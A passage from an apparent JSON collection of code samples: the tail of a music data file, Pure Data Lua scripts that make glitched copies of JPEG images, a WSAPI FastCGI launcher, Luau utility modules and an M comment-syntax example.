00000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n__music__\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n00 41424344\n"
  },
  {
    "path": "samples/Lua/vidya-file-list-parser.pd_lua",
    "content": "\nlocal FileListParser = pd.Class:new():register(\"vidya-file-list-parser\")\n\nfunction FileListParser:initialize(sel, atoms)\n\n\t-- 1. Base filename\n\t-- 2. File extension\n\t-- 3. Number of files in batch\n\tself.inlets = 3\n\t\n\t-- 1. To [list trim]-[binfile]\n\t-- 2. To [vidya-file-modder]'s filename variables\n\t-- 3. Sends a bang to [vidya-file-modder], triggering the object's mechanisms\n\tself.outlets = 3\n\t\n\t-- File extension\n\tself.extension = \"jpg\"\n\t\n\t-- Number of the last file in the batch\n\tself.batchlimit = 0\n\t\n\treturn true\n\nend\n\nfunction FileListParser:in_1_symbol(s)\n\n\tfor i = 0, self.batchlimit do\n\t\tself:outlet(2, \"list\", {s, i})\n\t\tself:outlet(1, \"read\", {s .. i .. \".\" .. self.extension})\n\t\tself:outlet(1, \"info\", {})\n\t\tself:outlet(3, \"bang\", {})\n\tend\n\nend\n\nfunction FileListParser:in_2_list(d)\n\tself.extension = d[1]\nend\n\nfunction FileListParser:in_3_float(f)\n\tself.batchlimit = f\nend"
  },
  {
    "path": "samples/Lua/vidya-file-modder.pd_lua",
    "content": "\nlocal FileModder = pd.Class:new():register(\"vidya-file-modder\")\n\nfunction FileModder:initialize(sel, atoms)\n\n\t-- 1. Object-triggering bang\n\t-- 2. Incoming single data bytes from [binfile]\n\t-- 3. Total bytes in file, from [route buflength]\n\t-- 4. Glitch type\n\t-- 5. Glitch point\n\t-- 6. Number of times to glitch a file\n\t-- 7. Toggle for a randomized number of glitches within the bounds of (6)\n\t-- 8. Active filename\n\tself.inlets = 8\n\t\n\t-- 1. To [binfile] inlet - bang(get next byte), clear(clear the buffer), FLOAT(write a byte to buffer), write(write to file)\n\tself.outlets = 1\n\t\n\t-- Currently active file's namedata\n\tself.filedata = {\n\t\t\"default-filename\",\n\t\t0,\n\t}\n\t\n\t-- Glitch type (pattern, random, or splice)\n\tself.glitchtype = \"random\"\n\t\n\t-- Minimum glitch point in image data\n\tself.glitchpoint = 500\n\t\n\t-- Number of times to repeat random glitches on a given file\n\tself.randrepeat = 1\n\t\n\t-- Toggles whether the number of repeating glitches should be random, within the bounds of 1 to self.randrepeat\n\tself.randtoggle = \"concrete\"\n\t\n\t-- Hold all bytes, which are converted to ints in the 0-255 range\n\tself.bytebuffer = {}\n\t\n\t-- Buffer length of currently active file\n\tself.buflength = 0\n\t\n\treturn true\n\nend\n\nfunction FileModder:in_1_bang()\n\n\tfor i = 1, self.buflength do\n\t\tself:outlet(1, \"bang\", {})\n\tend\n\t\n\tself:outlet(1, \"clear\", {})\n\t\n\tif self.glitchtype == \"pattern\" then\n\t\n\t\tlocal plen = math.random(2, 1000)\n\t\tlocal patbuffer = {}\n\t\t\n\t\tfor i = 1, plen do\n\t\t\ttable.insert(patbuffer, math.random(1, 254))\n\t\tend\n\t\t\n\t\tfor i = self.glitchpoint, self.buflength do\n\t\t\tself.bytebuffer[i] = patbuffer[((i - 1) % #patbuffer) + 1]\n\t\tend\n\t\t\n\telseif self.glitchtype == \"random\" then\n\t\n\t\tlocal randlimit = 0\n\t\tif self.randtoggle == \"random\" then\n\t\t\trandlimit = math.random(1, self.randrepeat)\n\t\telse\n\t\t\trandlimit = self.randrepeat\n\t\tend\n\t\t\n\t\tfor i = 1, randlimit do\n\t\t\tself.bytebuffer[math.random(self.glitchpoint, self.buflength)] = math.random(1, 244)\n\t\tend\n\t\t\n\telseif self.glitchtype == \"splice\" then\n\t\t\n\t\tlocal sloc = math.random(self.glitchpoint, self.buflength)\n\t\tlocal schunksize = math.random(1, self.buflength - sloc)\n\t\tlocal splicebuffer = {}\n\t\tfor i = 1, schunksize do\n\t\t\ttable.insert(splicebuffer, table.remove(self.bytebuffer, sloc))\n\t\tend\n\t\t\n\t\tlocal insertpoint = math.random(self.glitchpoint, #self.bytebuffer)\n\t\tfor _, v in ipairs(splicebuffer) do\n\t\t\ttable.insert(self.bytebuffer, insertpoint, v)\n\t\tend\n\t\t\n\tend\n\n\tfor _, v in ipairs(self.bytebuffer) do\n\t\tself:outlet(1, \"float\", {v})\n\tend\n\t\n\tlocal outname = self.filedata[1] .. \"-glitch\" .. self.filedata[2] .. \".jpeg\"\n\tself:outlet(1, \"write\", {outname})\n\tpd.post(\"New glitched image: \" .. outname)\n\t\n\tself:outlet(1, \"clear\", {})\n\t\n\tself.bytebuffer = {}\n\nend\n\nfunction FileModder:in_2_float(f)\n\ttable.insert(self.bytebuffer, f)\nend\n\nfunction FileModder:in_3_list(f)\n\tself.buflength = f[1] + 1 -- Shift from 0-indexed to 1-indexed\nend\n\nfunction FileModder:in_4_list(d)\n\tself.glitchtype = d[1]\nend\n\nfunction FileModder:in_5_float(f)\n\tself.glitchpoint = f\nend\n\nfunction FileModder:in_6_float(f)\n\tself.randrepeat = f\nend\n\nfunction FileModder:in_7_list(d)\n\tself.randtoggle = d[1]\nend\n\nfunction FileModder:in_8_list(d)\n\tself.filedata = {d[1], d[2]}\nend\n"
  },
  {
    "path": "samples/Lua/wsapi.fcgi",
    "content": "#!/usr/bin/lua\n\n-- Generic WSAPI FastCGI launcher, extracts application to launch\n-- from SCRIPT_FILENAME/PATH_TRANSLATED, each application (defined\n-- by its script entry point) gets an isolated Lua VM; sequential\n-- requests to the same application go to the same VM\n\npcall(require,\"luarocks.require\")\n\nlocal common = require \"wsapi.common\"\nlocal fastcgi = require \"wsapi.fastcgi\"\n\nlocal ONE_HOUR = 60 * 60\nlocal ONE_DAY = 24 * ONE_HOUR\n\nlocal wsapi_loader = common.make_loader{\n  isolated = true,         -- isolate each script in its own Lua state\n  filename = nil,          -- if you want to force the launch of a single script\n  launcher = \"wsapi.fcgi\", -- the name of this script\n  reload = false,          -- if you want to reload the application on every request\n  period = ONE_HOUR,       -- frequency of Lua state staleness checks\n  ttl = ONE_DAY,           -- time-to-live for Lua states\n  vars =                   -- order of checking for the path of the script\n   { \"SCRIPT_FILENAME\",\n     \"PATH_TRANSLATED\" } \n}\n\nfastcgi.run(wsapi_loader)\n"
  },
  {
    "path": "samples/Luau/EnumList.luau",
    "content": "--!optimize 2\n--!strict\n--!native\n\n--// EnumList v2.1.0\n--// Authored by @sleitnick and modified by @robloxiandemo\n--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/enum-list/init.lua)\n--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)\n\ntype EnumNames = { string }\n\n--[=[\n\t@interface EnumItem\n\t.Name string\n\t.Value number\n\t.EnumType EnumList\n\t@within EnumList\n]=]\nexport type EnumItem = {\n\tName: string,\n\tValue: number,\n\tEnumType: any,\n}\n\nlocal LIST_KEY = newproxy()\nlocal NAME_KEY = newproxy()\n\nlocal function makeReadOnly<ITable>(_table: ITable)\n\treturn setmetatable({}, {\n\t\t__index = _table,\n\t\t__newindex = function()\n\t\t\terror(\"Attempt to modify read-only table\", 2)\n\t\tend,\n\t\t__metatable = false,\n\t})\nend\n\nlocal function CreateEnumItem(name: string, value: number, enum: any): EnumItem\n\tlocal enumItem = {\n\t\tName = name,\n\t\tValue = value,\n\t\tEnumType = enum,\n\t}\n\tmakeReadOnly(enumItem)\n\treturn enumItem\nend\n\n--[=[\n\t@class EnumList\n\tDefines a new Enum.\n]=]\nlocal EnumList = {}\nEnumList.__index = EnumList\n\n--[=[\n\t@param name string\n\t@param enums {string}\n\t@return EnumList\n\tConstructs a new EnumList.\n\n\t```lua\n\tlocal directions = EnumList.new(\"Directions\", {\n\t\t\"Up\",\n\t\t\"Down\",\n\t\t\"Left\",\n\t\t\"Right\",\n\t})\n\n\tlocal direction = directions.Up\n\t```\n]=]\nfunction EnumList.new(name: string, enums: EnumNames)\n\tassert(type(name) == \"string\", \"Name string required\")\n\tassert(type(enums) == \"table\", \"Enums table required\")\n\tlocal self = {}\n\tself[LIST_KEY] = {}\n\tself[NAME_KEY] = name\n\tfor i, enumName in ipairs(enums) do\n\t\tassert(type(enumName) == \"string\", \"Enum name must be a string\")\n\t\tlocal enumItem = CreateEnumItem(enumName, i, self)\n\t\tself[enumName] = enumItem\n\t\ttable.insert(self[LIST_KEY], enumItem)\n\tend\n\treturn makeReadOnly(setmetatable(self, EnumList))\nend\n\n--[=[\n\t@param obj any\n\t@return boolean\n\tReturns `true` if `obj` belongs to the EnumList.\n]=]\nfunction EnumList:BelongsTo(obj: any): boolean\n\treturn type(obj) == \"table\" and obj.EnumType == self\nend\n\n--[=[\n\tReturns an array of all enum items.\n\t@return {EnumItem}\n\t@since v2.0.0\n]=]\nfunction EnumList:GetEnumItems()\n\treturn self[LIST_KEY]\nend\n\n--[=[\n\tGet the name of the enum.\n\t@return string\n\t@since v2.0.0\n]=]\nfunction EnumList:GetName()\n\treturn self[NAME_KEY]\nend\n\nexport type EnumList = typeof(EnumList.new(...))\n\nreturn EnumList\n"
  },
  {
    "path": "samples/Luau/Option.luau",
    "content": "--!optimize 2\n--!strict\n--!native\n\n--// EnumList v1.0.5\n--// Authored by @sleitnick and modified by @robloxiandemo\n--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/option/init.lua)\n--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)\n\nexport type MatchTable<T> = {\n\tSome: (value: T) -> any,\n\tNone: () -> any,\n}\n\nexport type MatchFn<T> = (matches: MatchTable<T>) -> any\n\nexport type DefaultFn<T> = () -> T\n\nexport type AndThenFn<T> = (value: T) -> Option<T>\n\nexport type OrElseFn<T> = () -> Option<T>\n\nexport type Option<T> = typeof(setmetatable(\n\t{} :: {\n\t\tMatch: (self: Option<T>) -> MatchFn<T>,\n\t\tIsSome: (self: Option<T>) -> boolean,\n\t\tIsNone: (self: Option<T>) -> boolean,\n\t\tContains: (self: Option<T>, value: T) -> boolean,\n\t\tUnwrap: (self: Option<T>) -> T,\n\t\tExpect: (self: Option<T>, errMsg: string) -> T,\n\t\tExpectNone: (self: Option<T>, errMsg: string) -> nil,\n\t\tUnwrapOr: (self: Option<T>, default: T) -> T,\n\t\tUnwrapOrElse: (self: Option<T>, defaultFn: DefaultFn<T>) -> T,\n\t\tAnd: (self: Option<T>, opt2: Option<T>) -> Option<T>,\n\t\tAndThen: (self: Option<T>, predicate: AndThenFn<T>) -> Option<T>,\n\t\tOr: (self: Option<T>, opt2: Option<T>) -> Option<T>,\n\t\tOrElse: (self: Option<T>, orElseFunc: OrElseFn<T>) -> Option<T>,\n\t\tXOr: (self: Option<T>, opt2: Option<T>) -> Option<T>,\n\t},\n\t{} :: {\n\t\t__index: Option<T>,\n\t}\n))\n\nlocal CLASSNAME = \"Option\"\n\nlocal Option = {}\nOption.__index = Option\n\nfunction Option._new(value)\n\tlocal self = setmetatable({\n\t\tClassName = CLASSNAME,\n\t\t_v = value,\n\t\t_s = (value ~= nil),\n\t}, Option)\n\treturn self\nend\n\nfunction Option.Some(value)\n\tassert(value ~= nil, \"Option.Some() value cannot be nil\")\n\treturn Option._new(value)\nend\n\nfunction Option.Wrap(value)\n\tif value == nil then\n\t\treturn Option.None\n\telse\n\t\treturn Option.Some(value)\n\tend\nend\n\nfunction Option.Is(obj)\n\treturn type(obj) == \"table\" and getmetatable(obj) == Option\nend\n\nfunction Option.Assert(obj)\n\tassert(Option.Is(obj), \"Result was not of type Option\")\nend\n\nfunction Option.Deserialize(data) -- type data = {ClassName: string, Value: any}\n\tassert(type(data) == \"table\" and data.ClassName == CLASSNAME, \"Invalid data for deserializing Option\")\n\treturn data.Value == nil and Option.None or Option.Some(data.Value)\nend\n\nfunction Option:Serialize()\n\treturn {\n\t\tClassName = self.ClassName,\n\t\tValue = self._v,\n\t}\nend\n\nfunction Option:Match(matches)\n\tlocal onSome = matches.Some\n\tlocal onNone = matches.None\n\tassert(type(onSome) == \"function\", \"Missing 'Some' match\")\n\tassert(type(onNone) == \"function\", \"Missing 'None' match\")\n\tif self:IsSome() then\n\t\treturn onSome(self:Unwrap())\n\telse\n\t\treturn onNone()\n\tend\nend\n\nfunction Option:IsSome()\n\treturn self._s\nend\n\nfunction Option:IsNone()\n\treturn not self._s\nend\n\nfunction Option:Expect(msg)\n\tassert(self:IsSome(), msg)\n\treturn self._v\nend\n\nfunction Option:ExpectNone(msg)\n\tassert(self:IsNone(), msg)\nend\n\nfunction Option:Unwrap()\n\treturn self:Expect(\"Cannot unwrap option of None type\")\nend\n\nfunction Option:UnwrapOr(default)\n\tif self:IsSome() then\n\t\treturn self:Unwrap()\n\telse\n\t\treturn default\n\tend\nend\n\nfunction Option:UnwrapOrElse(defaultFn)\n\tif self:IsSome() then\n\t\treturn self:Unwrap()\n\telse\n\t\treturn defaultFn()\n\tend\nend\n\nfunction Option:And(optionB)\n\tif self:IsSome() then\n\t\treturn optionB\n\telse\n\t\treturn Option.None\n\tend\nend\n\nfunction Option:AndThen(andThenFn)\n\tif self:IsSome() then\n\t\tlocal result = andThenFn(self:Unwrap())\n\t\tOption.Assert(result)\n\t\treturn result\n\telse\n\t\treturn Option.None\n\tend\nend\n\nfunction Option:Or(optionB)\n\tif self:IsSome() then\n\t\treturn self\n\telse\n\t\treturn optionB\n\tend\nend\n\nfunction Option:OrElse(orElseFn)\n\tif self:IsSome() then\n\t\treturn self\n\telse\n\t\tlocal result = orElseFn()\n\t\tOption.Assert(result)\n\t\treturn result\n\tend\nend\n\nfunction Option:XOr(optionB)\n\tlocal someOptA = self:IsSome()\n\tlocal someOptB = optionB:IsSome()\n\tif someOptA == someOptB then\n\t\treturn Option.None\n\telseif someOptA then\n\t\treturn self\n\telse\n\t\treturn optionB\n\tend\nend\n\nfunction Option:Filter(predicate)\n\tif self:IsNone() or not predicate(self._v) then\n\t\treturn Option.None\n\telse\n\t\treturn self\n\tend\nend\n\nfunction Option:Contains(value)\n\treturn self:IsSome() and self._v == value\nend\n\nfunction Option:__tostring()\n\tif self:IsSome() then\n\t\treturn (\"Option<\" .. type(self._v) .. \">\")\n\telse\n\t\treturn \"Option<None>\"\n\tend\nend\n\nfunction Option:__eq(opt)\n\tif Option.Is(opt) then\n\t\tif self:IsSome() and opt:IsSome() then\n\t\t\treturn (self:Unwrap() == opt:Unwrap())\n\t\telseif self:IsNone() and opt:IsNone() then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nOption.None = Option._new()\n\nreturn (Option :: any) :: {\n\tSome: <T>(value: T) -> Option<T>,\n\tWrap: <T>(value: T) -> Option<T>,\n\n\tIs: (obj: any) -> boolean,\n\n\tNone: Option<any>,\n}\n"
  },
  {
    "path": "samples/Luau/Symbol.luau",
    "content": "--!optimize 2\n--!strict\n--!native\n\n--// Symbol v2.0.1\n--// Authored by @sleitnick and modified by @robloxiandemo\n--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/symbol/init.lua)\n--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)\n\n--[=[\n\t@class Symbol\n\n\tRepresents a unique object.\n\n\tSymbols are often used as unique keys in tables. This is useful to avoid possible collisions\n\twith a key in a table, since the symbol will always be unique and cannot be reconstructed.\n\n\n\t:::note All Unique\n\tEvery creation of a symbol is unique, even if the\n\tgiven names are the same.\n\t:::\n\n\t```lua\n\tlocal Symbol = require(packages.Symbol)\n\n\t-- Create a symbol:\n\tlocal symbol = Symbol(\"MySymbol\")\n\n\t-- The name is optional:\n\tlocal anotherSymbol = Symbol()\n\n\t-- Comparison:\n\tprint(symbol == symbol) --> true\n\n\t-- All symbol constructions are unique, regardless of the name:\n\tprint(Symbol(\"Hello\") == Symbol(\"Hello\")) --> false\n\n\t-- Commonly used as unique keys in a table:\n\tlocal DATA_KEY = Symbol(\"Data\")\n\tlocal t = {\n\t\t-- Can only be accessed using the DATA_KEY symbol:\n\t\t[DATA_KEY] = {}\n\t}\n\n\tprint(t[DATA_KEY]) --> {}\n\t```\n]=]\n\nlocal function Symbol(name: string?)\n\tlocal symbol = newproxy(true)\n\tif not name then\n\t\tname = \"\"\n\tend\n\tgetmetatable(symbol).__tostring = function()\n\t\treturn \"Symbol(\" .. name .. \")\"\n\tend\n\treturn symbol\nend\n\nreturn Symbol\n"
  },
  {
    "path": "samples/Luau/Tree.luau",
    "content": "--!optimize 2\n--!strict\n--!native\n\n--// Tree v1.1.0\n--// Authored by @sleitnick and modified by @robloxiandemo\n--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/tree/init.lua)\n--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)\n\nlocal DELIM = \"/\"\n\nlocal function FullNameToPath(instance: Instance): string\n\treturn instance:GetFullName():gsub(\"%.\", DELIM)\nend\n\n--[=[\n\t@class Tree\n]=]\nlocal Tree = {}\n\n--[=[\n\tSimilar to FindFirstChild, with a few key differences:\n\t- An error is thrown if the instance is not found\n\t- A path to the instance can be provided, delimited by forward slashes (e.g. `Path/To/Child`)\n\t- Optionally, the instance's type can be asserted using `IsA`\n\n\t```lua\n\t-- Find \"Child\" directly under parent:\n\tlocal instance = Tree.Find(parent, \"Child\")\n\n\t-- Find \"Child\" descendant:\n\tlocal instance = Tree.Find(parent, \"Path/To/Child\")\n\n\t-- Find \"Child\" descendant and assert that it's a BasePart:\n\tlocal instance = Tree.Find(parent, \"Path/To/Child\", \"BasePart\") :: BasePart\n\t```\n]=]\nfunction Tree.Find(parent: Instance, path: string, assertIsA: string?): Instance\n\tlocal instance = parent\n\tlocal paths = path:split(DELIM)\n\n\tfor _, p in paths do\n\t\t-- Error for empty path parts:\n\t\tif p == \"\" then\n\t\t\terror(`Invalid path: {path}`, 2)\n\t\tend\n\n\t\tinstance = instance:FindFirstChild(p)\n\n\t\t-- Error if instance is not found:\n\t\tif instance == nil then\n\t\t\terror(`Failed to find {path} in {FullNameToPath(parent)}`, 2)\n\t\tend\n\tend\n\n\t-- Assert class type if argument is supplied:\n\tif assertIsA and not instance:IsA(assertIsA) then\n\t\terror(`Got class {instance.ClassName}; expected to be of type {assertIsA}`, 2)\n\tend\n\n\treturn instance\nend\n\n--[=[\n\tReturns `true` if the instance is found. Similar to `Tree.Find`, except this returns `true|false`. No error is thrown unless the path is invalid.\n\n\t```lua\n\t-- Check if \"Child\" exists directly in `parent`:\n\tif Tree.Exists(parent, \"Child\") then ... end\n\t\n\t-- Check if \"Child\" descendant exists at `parent.Path.To.Child`:\n\tif Tree.Exists(parent, \"Path/To/Child\") then ... end\n\t\n\t-- Check if \"Child\" descendant exists at `parent.Path.To.Child` and is a BasePart:\n\tif Tree.Exists(parent, \"Path/To/Child\", \"BasePart\") then ... end\n\t```\n]=]\nfunction Tree.Exists(parent: Instance, path: string, assertIsA: string?): boolean\n\tlocal instance = parent\n\tlocal paths = path:split(DELIM)\n\n\tfor _, p in paths do\n\t\t-- Error for empty path parts:\n\t\tif p == \"\" then\n\t\t\terror(`Invalid path: {path}`, 2)\n\t\tend\n\n\t\tinstance = instance:FindFirstChild(p)\n\n\t\tif instance == nil then\n\t\t\treturn false\n\t\tend\n\tend\n\n\tif assertIsA and not instance:IsA(assertIsA) then\n\t\treturn false\n\tend\n\n\treturn true\nend\n\n--[=[\n\t@yields\n\tWaits for the path to exist within the parent instance. Similar to `Tree.Find`, except `WaitForChild`\n\tis used internally. An optional `timeout` can be supplied, which is passed along to each call to\n\t`WaitForChild`.\n\n\tAn error is thrown if the path fails to resolve. This will only happen if the path is invalid _or_ if\n\tthe supplied timeout is reached.\n\n\t:::caution Indefinite Yield Possible\n\tIf the `timeout` parameter is not supplied, then the internal call to `WaitForChild` will yield\n\tindefinitely until the child is found. It is good practice to supply a timeout parameter.\n\t:::\n\n\t```lua\n\tlocal child = Tree.Await(parent, \"Path/To/Child\", 30)\n\t```\n]=]\nfunction Tree.Await(parent: Instance, path: string, timeout: number?, assertIsA: string?): Instance\n\tlocal instance = parent\n\tlocal paths = path:split(DELIM)\n\n\tfor _, p in paths do\n\t\t-- Error for empty path parts:\n\t\tif p == \"\" then\n\t\t\terror(`Invalid path: {path}`, 2)\n\t\tend\n\n\t\tinstance = instance:WaitForChild(p, timeout)\n\n\t\t-- Error if instance is not found:\n\t\tif instance == nil then\n\t\t\terror(`Failed to await {path} in {FullNameToPath(parent)} (timeout reached)`, 2)\n\t\tend\n\tend\n\n\t-- Assert class type if argument is supplied:\n\tif assertIsA and not instance:IsA(assertIsA) then\n\t\terror(`Got class {instance.ClassName}; expected to be of type {assertIsA}`, 2)\n\tend\n\n\treturn instance\nend\n\nreturn Tree\n"
  },
  {
    "path": "samples/Luau/ser.luau",
    "content": "--!optimize 2\n--!strict\n--!native\n\n--// Ser v1.0.5\n--// Authored by @sleitnick and modified by @robloxiandemo\n--// Fetched from (https://github.com/Sleitnick/RbxUtil/blob/main/modules/ser/init.lua)\n--// Licensed under the MIT License (https://github.com/Sleitnick/RbxUtil/blob/main/LICENSE.md)\n\n--[[\n\n\tSer is a serialization/deserialization utility module that is used\n\tby Knit to automatically serialize/deserialize values passing\n\tthrough remote functions and remote events.\n\n\n\tSer.Classes = {\n\t\t[ClassName] = {\n\t\t\tSerialize = (value) -> serializedValue\n\t\t\tDeserialize = (value) => deserializedValue\n\t\t}\n\t}\n\n\tSer.SerializeArgs(...)            -> table\n\tSer.SerializeArgsAndUnpack(...)   -> Tuple\n\tSer.DeserializeArgs(...)          -> table\n\tSer.DeserializeArgsAndUnpack(...) -> Tuple\n\tSer.Serialize(value: any)         -> any\n\tSer.Deserialize(value: any)       -> any\n\tSer.UnpackArgs(args: table)       -> Tuple\n\n--]]\n\ntype Args = {\n\tn: number,\n\t[any]: any,\n}\n\nlocal Option = require(\"samples/Luau/Option.luau\")\n\n--[=[\n\t@class Ser\n\n\tLibrary for serializing and deserializing data.\n\n\tSee the `Classes` property for information on extending the use\n\tof the Ser library to include other classes.\n\n]=]\nlocal Ser = {}\n\n--[=[\n\t@within Ser\n\t@prop Classes table\n\n\tA dictionary of classes along with a Serialize and Deserialize function.\n\tFor instance, the default class added is the Option class, which looks\n\tlike the following:\n\n\t```lua\n\tSer.Classes.Option = {\n\t\tSerialize = function(opt) return opt:Serialize() end;\n\t\tDeserialize = Option.Deserialize;\n\t}\n\t```\n\n\tAdd to this table in order to extend what classes are automatically\n\tserialized/deserialized.\n\n\tThe Ser library checks every object's `ClassName` field in both serialized\n\tand deserialized data in order to map it to the correct function within\n\tthe Classes table.\n]=]\nSer.Classes = {\n\tOption = {\n\t\tSerialize = function(opt)\n\t\t\treturn opt:Serialize()\n\t\tend,\n\t\tDeserialize = Option.Deserialize,\n\t},\n}\n\n--[=[\n\t@param ... any\n\t@return args: table\n\tSerializes the arguments and returns the serialized values in a table.\n]=]\nfunction Ser.SerializeArgs(...: any): Args\n\tlocal args = { (...) }\n\tfor i, arg in ipairs(args) do\n\t\tif type(arg) == \"table\" then\n\t\t\tlocal ser = Ser.Classes[arg.ClassName]\n\t\t\tif ser then\n\t\t\t\targs[i] = ser.Serialize(arg)\n\t\t\tend\n\t\tend\n\tend\n\treturn args\nend\n\n--[=[\n\t@param ... any\n\t@return args: ...any\n\tSerializes the arguments and returns the serialized values.\n]=]\nfunction Ser.SerializeArgsAndUnpack(...: any): ...any\n\tlocal args = Ser.SerializeArgs(...)\n\treturn unpack(args, 1, args.n)\nend\n\n--[=[\n\t@param ... any\n\t@return args: table\n\tDeserializes the arguments and returns the deserialized values in a table.\n]=]\nfunction Ser.DeserializeArgs(...: any): Args\n\tlocal args = { (...) }\n\tfor i, arg in ipairs(args) do\n\t\tif type(arg) == \"table\" then\n\t\t\tlocal ser = Ser.Classes[arg.ClassName]\n\t\t\tif ser then\n\t\t\t\targs[i] = ser.Deserialize(arg)\n\t\t\tend\n\t\tend\n\tend\n\treturn args\nend\n\n--[=[\n\t@param ... any\n\t@return args: table\n\tDeserializes the arguments and returns the deserialized values.\n]=]\nfunction Ser.DeserializeArgsAndUnpack(...: any): ...any\n\tlocal args = Ser.DeserializeArgs(...)\n\treturn unpack(args, 1, args.n)\nend\n\n--[=[\n\t@param value any\n\t@return any\n\tSerializes the given value.\n]=]\nfunction Ser.Serialize(value: any): any\n\tif type(value) == \"table\" then\n\t\tlocal ser = Ser.Classes[value.ClassName]\n\t\tif ser then\n\t\t\tvalue = ser.Serialize(value)\n\t\tend\n\tend\n\treturn value\nend\n\n--[=[\n\t@param value any\n\t@return any\n\tDeserializes the given value.\n]=]\nfunction Ser.Deserialize(value: any): any\n\tif type(value) == \"table\" then\n\t\tlocal ser = Ser.Classes[value.ClassName]\n\t\tif ser then\n\t\t\tvalue = ser.Deserialize(value)\n\t\tend\n\tend\n\treturn value\nend\n\n--[=[\n\t@param value any\n\t@return any\n\tUnpacks the arguments returned by either `SerializeArgs` or `DeserializeArgs`.\n]=]\nfunction Ser.UnpackArgs(value: Args): ...any\n\treturn unpack(value, 1, value.n)\nend\n\nreturn Ser\n"
  },
  {
    "path": "samples/M/Comment.m",
    "content": "Comment ;\n  ; this is a comment block\n  ; comments always start with a semicolon\n  ; the next line, while not a comment, is a legal blank line\n  \n  ;whitespace alone is a valid line in a routine\n  ;** Comments can have any graphic character, but no \"control\"\n  ;** characters\n  \n  ;graphic characters such as: !@#$%^&*()_+=-{}[]|\\:\"?/>.<,\n  ;the space character is considered a graphic character, even \n  ;though you can't see it.\n  ; ASCII characters whose numeric code is above 128 and below 32\n  ; are NOT allowed on a line in a routine.\n  ;; multiple semicolons are okay\n  ; a line that has a tag must have whitespace after the tag, bug\n  ; does not have to have a comment or a command on it\nTag1  \n  ;\n  ;Tags can start with % or an uppercase or lowercase alphabetic\n  ; or can be a series of numeric characters\n%HELO ;\n ;\n0123 ;\n  ;\n%987  ;\n  ; the most common label is uppercase alphabetic\nLABEL ;\n  ; \n  ; Tags can be followed directly by an open parenthesis and a\n  ; formal list of variables, and a close parenthesis\nANOTHER(X) ;\n  ;\n  ;Normally, a subroutine would be ended by a QUIT command, but we\n  ; are taking advantage of the rule that the END of routine is an\n  ; implicit QUIT\n"
  },
  {
    "path": "samples/M/GMRGPNB0.m",
